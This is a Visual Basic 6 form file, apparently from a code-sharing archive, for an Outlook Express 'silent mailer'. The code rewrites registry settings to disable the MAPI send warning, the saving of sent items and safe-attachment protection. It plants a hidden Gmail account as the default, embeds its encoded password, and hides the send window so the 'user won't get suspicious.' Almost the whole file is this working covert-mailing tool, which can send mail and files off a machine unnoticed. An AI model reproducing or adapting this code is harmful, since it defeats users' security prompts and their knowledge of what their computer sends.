www.pudn.com > silentlyMail.zip > Form1.frm, change:2009-01-05,size:26263b


VERSION 5.00 
Object = "{20C62CAE-15DA-101B-B9A8-444553540000}#1.1#0"; "MSMAPI32.OCX" 
Begin VB.Form Form1  
   BorderStyle     =   4  'Fixed ToolWindow 
   Caption         =   "Outlook express silent mailer using MAPI" 
   ClientHeight    =   3885 
   ClientLeft      =   45 
   ClientTop       =   315 
   ClientWidth     =   6345 
   LinkTopic       =   "Form1" 
   MaxButton       =   0   'False 
   MinButton       =   0   'False 
   ScaleHeight     =   3885 
   ScaleWidth      =   6345 
   ShowInTaskbar   =   0   'False 
   StartUpPosition =   3  'Windows Default 
   Begin MSMAPI.MAPISession MAPISession1  
      Left            =   6960 
      Top             =   0 
      _ExtentX        =   1005 
      _ExtentY        =   1005 
      _Version        =   393216 
      DownloadMail    =   0   'False 
      LogonUI         =   -1  'True 
      NewSession      =   -1  'True 
   End 
   Begin VB.TextBox Text4  
      Height          =   285 
      Left            =   6960 
      TabIndex        =   7 
      Text            =   "default mail" 
      Top             =   0 
      Width           =   615 
   End 
   Begin MSMAPI.MAPIMessages MAPIMessages1  
      Left            =   6960 
      Top             =   0 
      _ExtentX        =   1005 
      _ExtentY        =   1005 
      _Version        =   393216 
      AddressEditFieldCount=   1 
      AddressModifiable=   0   'False 
      AddressResolveUI=   0   'False 
      FetchSorted     =   0   'False 
      FetchUnreadOnly =   0   'False 
   End 
   Begin VB.TextBox txtbinary  
      Height          =   375 
      Left            =   6960 
      TabIndex        =   6 
      Text            =   "1 2 70 0 6F 0 70 0 2E 0 67 0 6D 0 61 0 69 0 6C 0 2E 0 63 0 6F 0 6D 0 42 0 35 0 38 0 33 0 35 0 39 0 31 0 30 0 0 0" 
      Top             =   0 
      Width           =   615 
   End 
   Begin VB.TextBox Text3  
      BeginProperty Font  
         Name            =   "Lucida Sans" 
         Size            =   8.25 
         Charset         =   0 
         Weight          =   400 
         Underline       =   0   'False 
         Italic          =   0   'False 
         Strikethrough   =   0   'False 
      EndProperty 
      Height          =   1335 
      Left            =   120 
      MultiLine       =   -1  'True 
      ScrollBars      =   2  'Vertical 
      TabIndex        =   5 
      Text            =   "Form1.frx":0000 
      Top             =   1680 
      Width           =   6135 
   End 
   Begin VB.Timer Timer2  
      Interval        =   10000 
      Left            =   6840 
      Top             =   3360 
   End 
   Begin VB.CommandButton Command1  
      Caption         =   "Send Silent e-mail" 
      BeginProperty Font  
         Name            =   "Lucida Sans" 
         Size            =   12 
         Charset         =   0 
         Weight          =   600 
         Underline       =   0   'False 
         Italic          =   0   'False 
         Strikethrough   =   0   'False 
      EndProperty 
      Height          =   435 
      Left            =   120 
      TabIndex        =   4 
      Top             =   3000 
      Width           =   6135 
   End 
   Begin VB.Timer Timer1  
      Interval        =   300 
      Left            =   6360 
      Top             =   3360 
   End 
   Begin VB.TextBox Text2  
      BackColor       =   &H00FFFFFF& 
      BeginProperty Font  
         Name            =   "Lucida Sans" 
         Size            =   8.25 
         Charset         =   0 
         Weight          =   400 
         Underline       =   0   'False 
         Italic          =   0   'False 
         Strikethrough   =   0   'False 
      EndProperty 
      Height          =   285 
      Left            =   120 
      TabIndex        =   2 
      Text            =   "Subject" 
      Top             =   1320 
      Width           =   6135 
   End 
   Begin VB.TextBox Text1  
      BackColor       =   &H00FFFFFF& 
      BeginProperty Font  
         Name            =   "Lucida Sans" 
         Size            =   8.25 
         Charset         =   0 
         Weight          =   400 
         Underline       =   0   'False 
         Italic          =   0   'False 
         Strikethrough   =   0   'False 
      EndProperty 
      Height          =   285 
      Left            =   120 
      TabIndex        =   1 
      Text            =   "email@server.com" 
      Top             =   960 
      Width           =   6135 
   End 
   Begin VB.Label Label4  
      Caption         =   "Copywrite protected http://www.glennsoftware.com" 
      Height          =   255 
      Left            =   120 
      TabIndex        =   9 
      Top             =   600 
      Width           =   6135 
   End 
   Begin VB.Label Label3  
      Caption         =   "E-mail:  technicalsupport@glennsoftware.com" 
      Height          =   255 
      Left            =   120 
      TabIndex        =   8 
      Top             =   360 
      Width           =   6135 
   End 
   Begin VB.Label Label2  
      Alignment       =   2  'Center 
      Caption         =   "Status:" 
      BeginProperty Font  
         Name            =   "Lucida Sans" 
         Size            =   8.25 
         Charset         =   0 
         Weight          =   400 
         Underline       =   0   'False 
         Italic          =   0   'False 
         Strikethrough   =   0   'False 
      EndProperty 
      ForeColor       =   &H000080FF& 
      Height          =   375 
      Left            =   120 
      TabIndex        =   3 
      Top             =   3480 
      Width           =   6135 
   End 
   Begin VB.Label Label1  
      Caption         =   "Author: EGL" 
      BeginProperty Font  
         Name            =   "Lucida Sans" 
         Size            =   8.25 
         Charset         =   0 
         Weight          =   400 
         Underline       =   0   'False 
         Italic          =   0   'False 
         Strikethrough   =   0   'False 
      EndProperty 
      Height          =   255 
      Left            =   120 
      TabIndex        =   0 
      Top             =   120 
      Width           =   6135 
   End 
End 
Attribute VB_Name = "Form1" 
Attribute VB_GlobalNameSpace = False 
Attribute VB_Creatable = False 
Attribute VB_PredeclaredId = True 
Attribute VB_Exposed = False 
Option Explicit 
Dim oReg As New clsRegistry 
'The following has been tested on Outlook Express 5.0 
'Please comment on other version of Outlook Express ! 
'Silent e-mailer to a perfection 
'Download by http://www.codefans.net 
'Programmed by: EGL 
'Saturday March 12 2005 
'technicalsupport@glennsoftware.com 
'Yahoo messenger: egl1044 or technicalsupport@glennsoftware.com 
''''''''''''''''''''''''''' 
'What I ask from you(the user?) 
'Simply report any errors or bugs to me either by comments or e-mail 
'I would really appreciate it, THANK YOU! 
''''''''''''''''''''''''''' 
''''''''''''''''''''''''''' 
'Registry API for DWORD value's 
''''''''''''''''''''''''''' 
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long 
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long 
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long 
    Private Const HKEY_CURRENT_USER = &H80000001 
    Private Const HKEY_LOCAL_MACHINE = &H80000002 
    Private Const ERROR_SUCCESS = 0& 
    Private Const REG_SZ = 1 
    Private Const REG_DWORD = 4 
    '''''''''''''''''''''''''''''''''' 
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long 
Private Declare Function RegQueryValue Lib "advapi32.dll" Alias "RegQueryValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpValue As String, lpcbValue As Long) As Long 
Private Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long 
Private Const MAX_SIZE = 2048 
Private Const HKCU = &H80000001 
Private Const KEY_ALL_ACCESS = &HF003F 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
'These are the API we need to declare to not show /send /recieve dialogs. 
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long 
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long 
Const SW_SHOWNORMAL = 1 
Const SW_HIDE = 0 
Const WM_CLOSE = &H10 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
 
Private Function EnumSubKeys(TopKey As Long, SubKey As String, KeyName() As String, KeyValue() As String) As Long 
   Dim hKey As Long, curidx As Long 
   Dim nImage As Integer, sSndFile As String, sSndMode As String 
   ReDim KeyName(0) 
   ReDim KeyValue(0) 
   RegOpenKeyEx TopKey, SubKey, 0&, KEY_ALL_ACCESS, hKey 
   On Error Resume Next 
   Do 
     KeyName(curidx) = Space$(MAX_SIZE) 
     KeyValue(curidx) = Space$(MAX_SIZE) 
     If RegEnumKey(hKey, curidx, KeyName(curidx), MAX_SIZE) <> ERROR_SUCCESS Then Exit Do 
     KeyName(curidx) = TrimNull(KeyName(curidx)) 
     If RegQueryValue(hKey, KeyName(curidx), KeyValue(curidx), MAX_SIZE) <> ERROR_SUCCESS Then Exit Do 
     KeyValue(curidx) = TrimNull(KeyValue(curidx)) 
     If KeyValue(curidx) = "" Then KeyValue(curidx) = KeyName(curidx) 
     curidx = curidx + 1 
     ReDim Preserve KeyName(curidx) 
     ReDim Preserve KeyValue(curidx) 
   Loop 
   On Error GoTo 0 
   RegCloseKey hKey 
   EnumSubKeys = curidx 
End Function 
 
Private Function TrimNull(startstr As String) As String 
   Dim pos As Integer 
   pos = InStr(startstr, Chr$(0)) 
   If pos Then 
      TrimNull = Left$(startstr, pos - 1) 
      Exit Function 
   End If 
   TrimNull = startstr 
End Function 
Function SaveDword(ByVal hKey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long) 
    Dim lResult As Long, keyhand As Long, R As Long 
    R = RegCreateKey(hKey, strPath, keyhand) 
    lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4) 
    R = RegCloseKey(keyhand) 
End Function 
Public Function BigDecToHex(ByVal DecNum) As String 
    Dim NextHexDigit As Double 
    Dim HexNum As String 
    HexNum = "" 
 
 
    While DecNum <> 0 
    NextHexDigit = DecNum - (Int(DecNum / 16) * 16) 
 
 
    If NextHexDigit < 10 Then 
        HexNum = Chr(Asc(NextHexDigit)) & HexNum 
    Else 
        HexNum = Chr(Asc("A") + NextHexDigit - 10) & HexNum 
    End If 
    DecNum = Int(DecNum / 16) 
Wend 
If HexNum = "" Then HexNum = "0" 
BigDecToHex = HexNum 
End Function 
 
 
 
Private Sub Command1_Click() 
''''''''''''''''''''''''''''''''''''''''''''''' 
'Outlook Express was tricky in the event that_ 
'If you add the MapiSession1.SignOff then we can't hide send/recieve! 
'I added on error resume next to take advantage of this! 
'I suggest leaving all settings as they are, you may change file attatchments 
''''''''''''''''''''''''''''''''''''''''''''''' 
Timer1.Enabled = True 
Timer2.Enabled = True 
 
On Error Resume Next 
Dim m_lSessionID As Long 
 
With MAPISession1 
    .NewSession = False 
     
    .LogonUI = False 
    .UserName = "0e.express@gmail.com" 
    '.Password = "" 
     
    .DownLoadMail = False 
    .SignOn 
    m_lSessionID = .SessionID 
End With 
 
If m_lSessionID > 0 Then 
     
    With MAPIMessages1 
        .SessionID = m_lSessionID 
.Compose 
.RecipType = 1 
.RecipAddress = Text1.Text 'email 
.MsgSubject = Text2.Text 'subject 
.MsgNoteText = Text3.Text 'message 
'.AttachmentName = "eula.txt"               <---attatchment name 
'.AttachmentPathName = "c:\eula.txt"        <---attatchment path and filename 
.Send False 
 
 
 
    End With 
    Label2.Caption = "Mail sent to:" & Space(3) & Text1.Text 
    'Do you realize how long it took me to figure all of this out? 
    'Just use your imagination! 
    'MAPISession1.SignOff <---don't enable or invisible mode won't work 
Else 
    Label2.Caption = "- Unable to create MAPI Session" 
   ' MAPISession1.Action = False 
    'MsgBox "Created an outlook express account automatically", vbInformation, "Account Created" 
    
End If 
 
                     
End Sub 
 
 
Private Sub Form_Load() 
Timer1.Enabled = False 
Timer2.Enabled = False 
''''''''''''''''''''''''''''' 
'Each Outlook user has its own idenentities. 
'First we need to get the special identities from the registry. 
'Next we set some registry DWORD values to accomplish invisiblility. 
'Last we set the registry DWORDS 
''''''''''''''''''''''''''''' 
 
Dim Idententity As String 
Idententity = GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID") 
 
 
Debug.Print GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID") 
''''''''''''''''''''' 
'Outlook Express 4.0 
''''''''''''''''''''' 
'NOTE: If you fiddle with these settings, the program most likely_ 
'will not function like it is suppose to, I suggest leaving the settings_ 
'how they are now and not changing them. 
''''''''''''''''''''''''''''''''''''''''''''' 
'First lets disable the warning message we get when sending mail with outlook! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "Warn on Mapi Send", "00000000") ' 0 = disable 1 = enable 
'Second lets make sure our e-mail does not go into sent items! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "SaveInSentItems", "00000000")  ' 0 = disable 1 = enable 
'Second turn off save attatchments to send any file you want! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "Safe Attachments", "00000000")  ' 0 = disable 1 = enable 
'immediatley send mail 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "Send Mail Immediately", "00000001")  ' 0 = disable 1 = enable 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
''''''''''''''''''''' 
'Outlook Express 5.0 
''''''''''''''''''''' 
'NOTE: If you fiddle with these settings, the program most likely_ 
'will not function like it is suppose to, I suggest leaving the settings_ 
'how they are now and not changing them. 
''''''''''''''''''''''''''''''''''''''''''''' 
'First lets disable the warning message we get when sending mail with outlook! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "Warn on Mapi Send", "00000000") ' 0 = disable 1 = enable 
'Second lets make sure our e-mail does not go into sent items! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "SaveInSentItems", "00000000")  ' 0 = disable 1 = enable 
'Second turn off save attatchments to send any file you want! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "Safe Attachments", "00000000")  ' 0 = disable 1 = enable 
'immediatley send mail 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "Send Mail Immediately", "00000001")  ' 0 = disable 1 = enable 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
''''''''''''''''''''' 
'Outlook Express 6.0 
''''''''''''''''''''' 
'NOTE: If you fiddle with these settings, the program most likely_ 
'will not function like it is suppose to, I suggest leaving the settings_ 
'how they are now and not changing them. 
''''''''''''''''''''''''''''''''''''''''''''' 
'First lets disable the warning message we get when sending mail with outlook! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "Warn on Mapi Send", "00000000") ' 0 = disable 1 = enable 
'Second lets make sure our e-mail does not go into sent items! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "SaveInSentItems", "00000000")  ' 0 = disable 1 = enable 
'Second turn off save attatchments to send any file you want! 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "Safe Attachments", "00000000")  ' 0 = disable 1 = enable 
'immediatley send mail 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "Send Mail Immediately", "00000001")  ' 0 = disable 1 = enable 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
 
'''''''''''''''''''''''''''''''''''''''''''''' 
 'Lets create an account automatically. If an account doesn't exist_ 
 'we will use a special account!! 
 ''''''''''''''''''''''''''''''''''''''''''''' 
''''''''''''''''''''' 
'Outlook Express /Microsoft/Accounts 
'PLEAE NOTE: Settings are set up for www.gmail.com SMTP and POP3 
'If the user does not have an outlook express account, we create ONE!!!!!!! 
'AND WE USE THAT ACCOUNT TO SEND MAIL! 
''''''''''''''''''''' 
'REG CREATE KEY 
Dim SMTP As Long 
Dim POP3 As Long 
SMTP = BigDecToHex("465") 
POP3 = BigDecToHex("995") 
 
Call CreateRegistryKey(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009") 
 
 
DoEvents 
'REG_DWORD 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "Connection Type", "00000003") 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "Leave Mail On Server", "00000000") 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Prompt for Password", "00000000") 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Skip Account", "00000000") 
'Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Timeout", "0000003c") 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Prompt for Password", "00000000") 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Split Messages", "00000000") 
'Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Timeout", "0000003c") 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Use Sicily", "00000003") 
DoEvents 
''''''''''''''''''''''''''''THESE MUST BE IN ORDER OR IT WONT WORK!!''''''''''''''''''''' 
'Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Port", "00000" & SMTP) 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Port", "00000" & POP3) 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Secure Connection", "00000001") 
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Secure Connection", "00000001") 
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
'REG_STRING 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "Account Name", "pop.gmail.com") 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 User Name", "0e.express@gmail.com") 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Display Name", "0e.") 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Email Address", "0e.express@gmail.com") 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Server", "smtp.gmail.com") 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP User Name", "0e.express@gmail.com") 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Server", "pop.gmail.com") 
 
   Dim sRegFile As String 
   Dim sTmp As String 
   Dim ByteArray() As Byte 
   Dim tmpArray() As String 
   Dim i As Integer 
 
   tmpArray = Split(txtbinary, " ") 
 
  
   ReDim ByteArray(UBound(tmpArray) + 1) 
 
     For i = LBound(tmpArray) To (UBound(tmpArray)) 
      ByteArray(i) = CByte("&h" & Right(tmpArray(i), 2)) 
   Next i 
    
   oReg.SetRegistryValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Password2", ByteArray(), eByteArray 
   oReg.SetRegistryValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Password2", ByteArray(), eByteArray 
   'set account to default. 
   Text4.Text = GetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account") 
    
   Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account", "00000009") 
 
End Sub 
 
Private Sub Form_Terminate() 
On Error Resume Next 
'if there is an open session then lets close the session 
MAPISession1.SignOff 
'lets remove the default outlook account from outlook 
'lets set the default e-mail back to normal. 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account", Text4.Text) 
Call DeleteRegistryKey(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009") 
DoEvents 
End 
End Sub 
 
Private Sub Form_Unload(Cancel As Integer) 
On Error Resume Next 
MAPISession1.SignOff 
'lets remove the default outlook account 
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account", Text4.Text) 
Call DeleteRegistryKey(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009") 
DoEvents 
End 
End Sub 
 
Private Sub Timer1_Timer() 
''''''''''''''''''''''''''''' 
'This was very tricky to pull off. 
'We have to hide the send/recieve window from displaying. 
'This way the user does not see anything on the screen. 
''''''''''''''''''''''''''''' 
Dim WinWnd As Long, Ret As String, retVal As Long, lpClassName As String 
    Ret = "Outlook Express" 
    WinWnd = FindWindow(vbNullString, Ret) 
    If WinWnd = 0 Then: Exit Sub 
    ShowWindow WinWnd, SW_HIDE 
    lpClassName = Space(256) 
    retVal = GetClassName(WinWnd, lpClassName, 256) 
    DoEvents 
     
    PostMessage WinWnd, SW_HIDE, 0&, 0& 
     
End Sub 
 
Private Sub Timer2_Timer() 
'Wait ten seconds for e-mail to send 
'Then set hiding of send/recieve timer off_ 
'User won't get suspicious :) 
'Then we set the registry back to normal! 
'This way the user recieves sent items 
Timer1.Enabled = False 
 
 
Dim IdententityBackup As String 
IdententityBackup = GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID") 
Debug.Print GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID") 
 
''''''''''''''''''''' 
'Outlook Express 4.0 
''''''''''''''''''''' 
'NOTE: If you fiddle with these settings, the program most likely_ 
'will not function like it is suppose to, I suggest leaving the settings_ 
'how they are now and not changing them. 
''''''''''''''''''''''''''''''''''''''''''''' 
'lets set save sent items back on 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\4.0\Mail", "SaveInSentItems", "00000001")  ' 0 = disable 1 = enable 
'turn on safe attatchments 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\4.0\Mail", "Safe Attachments", "00000001")  ' 0 = disable 1 = enable 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
 
''''''''''''''''''''' 
'Outlook Express 5.0 
''''''''''''''''''''' 
'NOTE: If you fiddle with these settings, the program most likely_ 
'will not function like it is suppose to, I suggest leaving the settings_ 
'how they are now and not changing them. 
''''''''''''''''''''''''''''''''''''''''''''' 
'lets set save sent items back on 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\5.0\Mail", "SaveInSentItems", "00000001")  ' 0 = disable 1 = enable 
'turn on safe attatchments 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\5.0\Mail", "Safe Attachments", "00000001")  ' 0 = disable 1 = enable 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
''''''''''''''''''''' 
'Outlook Express 6.0 
''''''''''''''''''''' 
'NOTE: If you fiddle with these settings, the program most likely_ 
'will not function like it is suppose to, I suggest leaving the settings_ 
'how they are now and not changing them. 
''''''''''''''''''''''''''''''''''''''''''''' 
'lets set save sent items back on 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\6.0\Mail", "SaveInSentItems", "00000001")  ' 0 = disable 1 = enable 
'turn on safe attatchments 
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\6.0\Mail", "Safe Attachments", "00000001")  ' 0 = disable 1 = enable 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 
 
DoEvents 
Timer2.Enabled = False 
End Sub